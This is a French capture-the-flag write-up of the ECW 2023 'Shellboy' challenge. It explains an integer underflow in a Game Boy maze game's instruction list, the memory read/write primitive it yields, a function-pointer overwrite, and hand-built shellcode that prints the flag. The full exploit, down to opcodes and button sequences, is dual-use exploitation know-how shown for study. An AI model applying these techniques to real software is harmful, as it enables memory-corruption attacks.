Piratage de gameboy

Write-up du challenge Shellboy du CTF ECW (édition 2023)

Le

Ces deux dernières semaines j'ai eu l'occasion de participer à la phase de qualification du CTF ECW (pour European Cyber Cup). Dans ce premier write-up j’aborde la résolution d’un challenge de pwn que j'ai trouvé très sympa et dans lequel on va devoir exploiter un jeu sur gameboy. Au programme, exploitation d'une integer underflow, utilisation d'une primitive d'écriture arbitraire et développement d'un shellcode sur gameboy.

Fiche du challenge shellboy de l'ECW 2023 : difficulté medium, 454 points, 18 résolutions

Vous pouvez télécharger une archive contenant les fichiers fournis ici (code source + programme compilé).

Présentation

Interface web Shellboy Maze Edition : émulateur Game Boy et aide sur les commandes du jeu

Il s'agit d'un jeu dans lequel on incarne un personnage enfermé dans un labyrinthe. Une couronne se situe au centre de celui-ci, mais aucun chemin ne semble y mener.

Fonctionnalités

Écran du jeu annoté : liste des instructions, instruction sélectionnée et nombre de répétitions

Le jeux nous permet de : - de programmer une suite d'instruction que notre personnage va suivre en appuyant sur le bouton A puis en appuyant sur une des 4 flèches. On peut ainsi faire avancer le personnage dans les 4 directions (haut, bas, gauche et droite). La liste des instructions apparait en haut.

- Sélectionner une instruction à l'aide des flèches de droite de gauche et modifier le nombre de fois qu'elle va être exécutée à l'aide des flèches du haut et du bas.

- sélectionner deux instructions à échanger ou fusionner avec le bouton select. Si les deux instructions sont de types différents (par exemple : aller à gauche et aller à droite), alors elle échange de place. Si les deux instructions sont identiques (par exemple : aller en bas, aller en bas), elle fusionne.

Démonstration

En guise de démonstration, j'ai programmé un petit parcours simple avec A et les 4 flèches, puis je l'ai lancé en cliquant sur le bouton start.

Émulateur Game Boy : le personnage suit un parcours simple programmé dans la liste d'instructions

Analyse du code

Le challenge est en whitebox, c'est-à-dire qu'on a accès au code source de l'application. En le lisant, on comprend que même si l'on arrive à atteindre la case de la couronne le flag ne s'affichera pas.

    // Check the final tile ID to check if the bot is on the flag
    if(final_tile_id == FLAG_TILE_ID) {
        bnprintf(1, 4, 18, "Flag is at 0x06FA ");

        while(true)
            delay(100);
    } else {
        bnprintf(1, 4, 18, "Failed. Try again.");

Il nous faut :

  • trouver un moyen de lire le flag (situé à l'adresse 0x06FA dans la mémoire de la gameboy)
  • trouver un moyen de l'afficher sur l'écran de la gameboy.

Fonctionnement général

Le programme utilise 3 variables « principale » :

  • inst_funcs (tableau de pointeur) : Contient les pointeurs vers les 4 fonctions permettant au personnage de se déplacer (inst_go_up, inst_go_right, inst_go_down, inst_go_left).
  • inst_ids (tableau d'unsigned integer) : Contient la liste des IDs des instructions à exécuter.
    Par exemple : [INST_UP,INST_RIGHT,INST_UP,INST_LEFT] (INST_UP = 0, INST_RIGHT = 1 ...) ;
  • inst_rpt (tableau d'unsigned Integer) : Contient la liste du nombre de répétitions des instructions définies dans inst_ids.
    Par exemple : [10,1,3,1].

Lors d'un appui sur le bouton start, le programme parcourt les ID de la liste inst_ids et appelle inst_funcs[<ID>] $n$ fois, où $n$ est la valeur correspondante à inst_ids dans inst_rpt.

    // Execute each instruction of the instruction list
    for(uint8_t i = 0; i < inst_count; i++) 
    {
        uint8_t inst_id = inst_ids[i];
        uint8_t inst_rp = inst_rpt[i];

        // Repeat the instruction n times
        for(uint8_t j = 0; j < inst_rp; j++) {
            if(inst_funcs[inst_id]()) {
                // Draw only if the instruction succeeded
                draw_simu();
                delay(100);
            }
        }
    }

Il utilise également deux variables de contrôle :

  • list_empty (Boolean): Vaut True si la liste d'instruction est vide, False sinon ;
  • inst_count (Unsigned Integer) : Contient le nombre d'instructions dans la liste d'instruction ;

La faille

La faille se trouve dans la fonction move_inst du fichier inst_list.c, qui s'exécute lorsque l'on clique sur le bouton select.

/// @brief Move or merge 2 instructions in the instruction list
/// @param inst1_index The first instruction index to move/merge
/// @param inst2_index The second instruction index to move/merge
void move_inst(uint8_t inst1_index, uint8_t inst2_index)
{
    uint8_t inst1_id = inst_ids[inst1_index];
    uint8_t inst2_id = inst_ids[inst2_index];
    uint8_t inst1_rpt = inst_rpt[inst1_index];
    uint8_t inst2_rpt = inst_rpt[inst2_index];

    // First case. IDs are the same, so we merge instructions
    if(inst1_id == inst2_id)
    {
        uint16_t rpt_sum = inst1_rpt + inst2_rpt;

        if(rpt_sum > 255)
        {
            // If the sum of repetitions is more than a stack (255),
            // we fill the first stack to the maximum and put the rest in the second
            inst_rpt[inst1_index] = 255;
            inst_rpt[inst2_index] = rpt_sum - 255;
        }
        else
        {
            // --- @ohohoh : Le code dessous est vulnerable ---
            // If the sum of repetitions is less than a stack (255),
            // we merge all in the first stack and delete the second
            inst_rpt[inst1_index] = rpt_sum;
            remove_inst(inst2_index);
            // --- @ohohoh : fin ---
        }
    }
    // Second case. IDs are differents, so we swap instructions
    else
    {
        inst_ids[inst1_index] = inst2_id;
        inst_ids[inst2_index] = inst1_id;
        inst_rpt[inst1_index] = inst2_rpt;
        inst_rpt[inst2_index] = inst1_rpt;
    }
}

Cette fonction permet de réorganiser ou de fusionner deux instructions sélectionnées dans une liste, en fonction de leur type (ID) et de leur nombre de répétitions. On peut distinguer deux cas :

  • Cas 1 : Instructions de types différents Si les deux instructions ont des IDs différents (ex: Haut et Gauche), la fonction effectue un échange de position (swap) entre elles dans la liste.
  • Cas 2 : Instructions de même type Si les instructions ont le même ID (ex: deux instructions Haut), elles sont fusionnées selon la règle des 255 répétitions maximum :
    • Si le cumul dépasse 255 : La première instruction est complétée à 255, et le surplus est conservé dans la seconde instruction. Exemple : 225 (A) + 60 (B) → 255 (A) et 30 (B).
    • Si le cumul est inférieur ou égal à 255 : toutes les répétitions sont regroupées dans la première instruction, et la seconde est supprimée. Exemple : 100 (A) + 50 (B) → 150 (A), B est supprimé.

Le code est fonctionnel, mais les développeurs n'ont pas pensé au fait qu'on pouvait fusionner (merge) la même instruction. Admettons que je crée une instruction de type aller à droite d'une seule répétition, et que j'appelle move_inst(instr_1, instr_1) où instr_1 est l'instruction que je viens de créer : - La fonction saute dans le cas Instruction du même type, puis calcule le nombre de répétitions total ($1 \times 2$). - Comme ce nombre est inférieur à $255$, elle merge l'instruction avec elle même. Pour cela, elle appelle la fonction remove_inst(), qui supprime l'instruction et décrémente la variable inst_count de 1, mais n'actualise pas par la suite la variable list_empty. On peut alors, en créant puis en sélectionnant deux fois le même item, fixer la variable inst_count à 0 tout en cinservant la variable list_empty à False.


Pour résumé, avec un double clique sur le bouton select, en ayant au préalable sélectionné une opération qui n'a qu'une seule répétition, on obtient la configuration suivante : - list_empty = False - inst_count = 0 La liste est « non vide » pour le programme alors qu'elle l'est en réalité. Voyons maintenant ce que cela implique.


Integer underflow

Avec la configuration que nous avons obtenue, nous pouvons tenter de supprimer l'instruction que nous avons déjà supprimé (via select + select) en cliquant sur le bouton B. Le code ci-dessous est alors exécuté.

// Remove the selected instruction
else if(KEY_TRIGGERED(J_B) && !list_empty) // @ohohoh: On peut passer cette condition ...
{
    remove_inst(inst_cursor_pos); // @ohohoh: ... et supprimer une instruction inexistante
    list_empty = inst_count == 0;
    inst_cursor_pos = 0;
}

Comme list_empty est à False, la fonction remove_inst() est appelée sur l'instruction déjà supprimé par le double select.

/// @brief Remove an instruction from the instruction list
/// @param inst_index The instruction index to remove in the instruction list
void remove_inst(uint8_t inst_index)
{
    if(inst_index + 1 != inst_count)
    {
        // Shift all following instructions in the instruction list
        for(uint8_t i = 0, j = 0; i < MAX_INST && j < MAX_INST; i++, j++)
        {
            if(i == inst_index)
            {
                j++;
            }

            inst_ids[i] = inst_ids[j];
            inst_rpt[i] = inst_rpt[j];
        }
    }

    inst_count--; // @ohohoh : On peut integer underflow sur inst_count si il vaut 0
}

remove_inst() décrémente (encore) de $1$ la variable inst_count, la faisant passé de $0$ à $-1$ (en signed), ou 0xFF=255 (en unsigned). Il s'agit d'une vulnérabilité du type interger underflow.

Un integer underflow se produit lorsqu'une opération mathématique tente de créer une valeur numérique inférieure à la limite minimale stockée par le type de variable. Ici, le programme calcule et stocke un nombre négatif (signed), mais le lis et l'interprète comme un nombre positif unsigned. Schéma : l'octet 11111111 vaut -1 en signé et 255 en non signé, d'où l'integer underflow

Si on fait le test en live dans l'émulateur de gameboy on obtient quelque chose d’intéressant: un bug ! 👾

Émulateur Game Boy : après la double suppression, le compteur d'instructions déborde et le jeu bugge

Primitive de lecture et écriture

Le bug nous permet de parcourir 255 instructions étranges dont ne nous sommes pas les créateurs, et dont l'image de certaines sont buggé.

Émulateur Game Boy : la liste affiche des instructions inconnues aux icônes corrompues après le bug

Le code ci-dessous est responsable de l'affichage du selecteur d'instructions.

/// @brief Draw the instruction list on the screen
void draw_inst_list() 
{
    // Draw all instruction tiles or "No inst" if the instruction list is empty
    if(list_empty) 
    {
        bnprintf(INST_LIST_WIN_X, INST_LIST_WIN_Y, 7, "No inst");
    } 
    else 
    {
        // Calculate the scrolling list starting element index
        uint8_t start_x = max(inst_cursor_pos - INST_LIST_WIN_WIDTH + 1, 0);

        for(uint8_t x = start_x, i = 0; i < INST_LIST_WIN_WIDTH; x++, i++) 
        {
            if(i < inst_count) 
            {
                set_bkg_tile_xy(INST_LIST_WIN_X + i, INST_LIST_WIN_Y, INST_TILES_OFFSET + inst_ids[x]);
            } 
            else 
            {
                set_bkg_tile_xy(INST_LIST_WIN_X + i, INST_LIST_WIN_Y, 0);
            }
        }
    }

    draw_inst_cursor();
    draw_inst_repeat();
}

Comme inst_count vaut -1, mais qu'il est unsigned, le programme le comprend comme $255$ (l'integer underflow). Le programme essaie d'afficher les images associées aux octets situés entre inst_ids et inst_ids+255, sachant que :

#define INST_UP 0
#define INST_RIGHT 1
#define INST_DOWN 2
#define INST_LEFT 3

Si l'octet est inférieur à 4, alors le programme affichera l'image d'une des 4 flèches correspondantes, sinon il n'affichera rien ou une image qui n'a rien à faire ici (si une image est définie pour cet octet). En ce qui concerne le nombre de répétitions affiché à droite du selecteur d'instruction :

/// @brief Draw the repeat counter for the selected instruction
void draw_inst_repeat() 
{
    if(list_empty) 
    {
        bnprintf(INST_REPEAT_WIN_X, INST_REPEAT_WIN_Y, 4, "    ");
    } 
    else 
    {
        bnprintf(INST_REPEAT_WIN_X, INST_REPEAT_WIN_Y, 4, "x%u  ", inst_rpt[inst_cursor_pos]);
    }
}

On peut lire la valeur de tous les octets situés entre inst_rpt et inst_rpt+255 via le nombre de répétitions. On peut également modifier la valeur de ces octets, comme le montre le code extrait de la fonction update_inst_list() présenté ci-dessous.

/// @brief Update the list of instruction
void update_inst_list() 
{
    // ...
        // Increase instruction repetition
        else if(KEY_TRIGGERED(J_UP) && !list_empty) 
        {
            inst_rpt[inst_cursor_pos] += (inst_rpt[inst_cursor_pos] < 255) ? 1 : 2;
        } 
        // Decrease instruction repetition
        else if(KEY_TRIGGERED(J_DOWN) && !list_empty) 
        {
            inst_rpt[inst_cursor_pos] -= (inst_rpt[inst_cursor_pos] > 1) ? 1 : 2;
        } 

Pour résumer, on a maintenant accès à 255 octets de la mémoire qu'on peut "lire" et surtout qu'on peut modifier. On a de quoi commencer la phase d'exploitation.

Exploitation

L'objectif est de lire le flag. On cherche donc à exploiter la primitive d'écriture afin d'exécuter un shellcode.

Etat de la mémoire

On peut débugger le programme en utilisant le logiciel BGB (un émulateur de Gameboy gratuit avec un débogueur intégré). En jouant un peu avec le programme et en inspectant la mémoire, on comprend à quels endroits sont situées les différentes variables que je vous ai présentées au début de cet article.

Débogueur BGB : mémoire WRAM autour de 0xC0A0, avec les variables du jeu surlignées en couleur

  • En violet: le tableau de pointeurs vers les fonctions de déplacement inst_funcs[4]
  • En jaune: inst_rpt
  • En bleu: inst_ids
  • En rouge: inst_count
  • En cyan: inst_cursor_pos

Contrôler PC

La primitive d'écriture arbitraire nous permet d'écrire à partir de inst_rpt. Comme on veut que le programme exécuter notre shellcode, il faut trouver un moyen de contrôler le registre pointeur de code PC. Mon idée est de rajouter un 5ème pointeur au tableau inst_funcs et d'appeler ce nouvel élément lors de la simulation. Pour rappel, on a dans le code :

bool (*inst_funcs[4])() = {
    inst_go_up,
    inst_go_right,
    inst_go_down,
    inst_go_left
};

L'objectif est de rajouter un pointeur à la fin de inst_funcs pointant vers le shellcode.

bool (*inst_funcs[4])() = {
    inst_go_up,
    inst_go_right,
    inst_go_down,
    inst_go_left,
    execute_shellcode // Comme cela
};

Pour cela on écrit l'adresse de la zone mémoire dans laquelle on va écrire notre shellcode (dans mon cas j'ai choisi 0xc0c0) à 0xc0bb. NB: On aurait pu l'écrire à 0xc0ba, mais on doit laisser cet emplacement vide pour conserver une répétition d'instruction valide (celle qui va justement appeler notre shellcode).

/// @brief Start the simulation
void simulate()
{
    // Execute each instruction of the instruction list
    for(uint8_t i = 0; i < inst_count; i++)
    {
        uint8_t inst_id = inst_ids[i];
        uint8_t inst_rp = inst_rpt[i];

        // Repeat the instruction n times
        for(uint8_t j = 0; j < inst_rp; j++) {
            if(inst_funcs[inst_id]()) { // @ohohoh : <-- ICI
                // Draw only if the instruction succeeded
                draw_simu();
                delay(100);
            }
        }
    }
}

Si on créée une instruction ayant pour code 5, alors c'est le code indiqué par le pointeur se trouvant à 0xc0cb = 0xc0b1+ 5*2 qui sera appelé lors de la simulation. On écrit donc un 1 à 0xc0b9 (premier élément du tableau inst_rpt) et un 5 à 0xc0c9 (1er élément du tableau inst_ids) pour appeler 1 fois l'instruction 5 (qui pointe vers notre shellcode).

Conception du shellcode

L'objectif est d'afficher le flag sur l'écran. Il existe une fonction permettant de faire cela : bnprintf, avec comme argument l'adresse du flag. Comme le créateur du chall est un mec bien (hourra), il nous facilite la tâche (un tout petit peu) en nous indiquant l'adresse du flag (0x6fa).

En ouvrant le programme dans Ghidra avec l'extension ghidraboy, on repère un endroit intéressant où jump pour afficher le flag sans faire crasher le programme.

Ghidra : fin de la fonction simulate, l'appel à bnprintf choisi comme point de saut pour afficher le flag

On note aussi les opcodes associés aux instructions qui nous intéressent et on construit notre shellcode. J'ai rajouté une addition sur le registre SP afin qu'il pointe au bon endroit lors du return en 0x0ed8.

ADD SP,4  
LD DE,0x6fa  
LD HL,0x0eca  
JP HL e9
0xe8 0x04  
0x11 0xfa 0x06  
0x21 0xca 0x0e  
0xe9

Résumé

Pour résumer, notre mémoire doit être organisée comme ceci:

  • [ 1 (répétition de l'appel à instr_funcs[5]]
  • [ 0 (padding)]
  • [0xc0 0xc0 (adresse de notre shellcode)]
  • [ 0 // 3 fois (padding) ]
  • [ shellcode ]
  • [ 5 (index de instr_funcs appelé 1 fois) ]
  • [ 0 // 15 fois (padding) ]
  • [1 (pour remettre inst_counter à 1 et exécuter que la première instruction)]

Le flag

La payload est la suivante :

Arb write
A + ➡️ Création d'une instruction
select + select list_empty à False, et instr_count à 0
B instr_count à -1
Ecriture du pointeur vers le shellcode (0xE0C0)
➡️ x 2 Positionnement MSB du pointeur
⬆️ x 192 Ecriture MSB du pointeur (0xC0)
➡️ x 1 Positionnement LSB du pointeur
⬆️ x 192 Ecriture du LSB du pointeur (0xC0)
Ecriture du shellcode
➡️ x 3 Positionnement vers 0xC0C0
⬆️ x 232 Ecriture du shellcode - 0xe8 (octet 1)
➡️ + ⬆️ x 4 Ecriture du shellcode - 0x04 (octet 2)
➡️ + ⬆️ x 17 Ecriture du shellcode - 0x11 (octet 3)
➡️ + ⬆️ x 250 Ecriture du shellcode - 0xfa (octet 4)
➡️ + ⬆️ x 6 Ecriture du shellcode - 0x06 (octet 5)
➡️ + ⬆️ x 33 Ecriture du shellcode - 0x21 (octet 6)
➡️ + ⬆️ x 202 Ecriture du shellcode - 0xca (octet 7)
➡️ + ⬆️ x 14 Ecriture du shellcode - 0x0e (octet 8)
➡️ + ⬆️ x 233 Ecriture du shellcode - 0xe9 (octet 9)
Jump shellcode
➡️ + ⬆️ x 5 Executer *inst_func[5]()
Lancer l'exploit
start Lancer l'exploit

On se sert du script python fourni (ou pas) pour rentrer notre combinaison, on clique sur start et boum ! le flag apparait 🥳.

Accès Restreint

Cet article n'est pas (encore) publique.
Pour obtenir un accès anticipé, contactez-moi.

[[ passwordError ]]

[[ post.title ]]

[[ post.description ]]

Le [[ post.date ]]

[[ tag ]]
[[ currentMatchIndex + 1 ]] / [[ searchMatches.length ]] 0 / 0

Sommaire

Page principale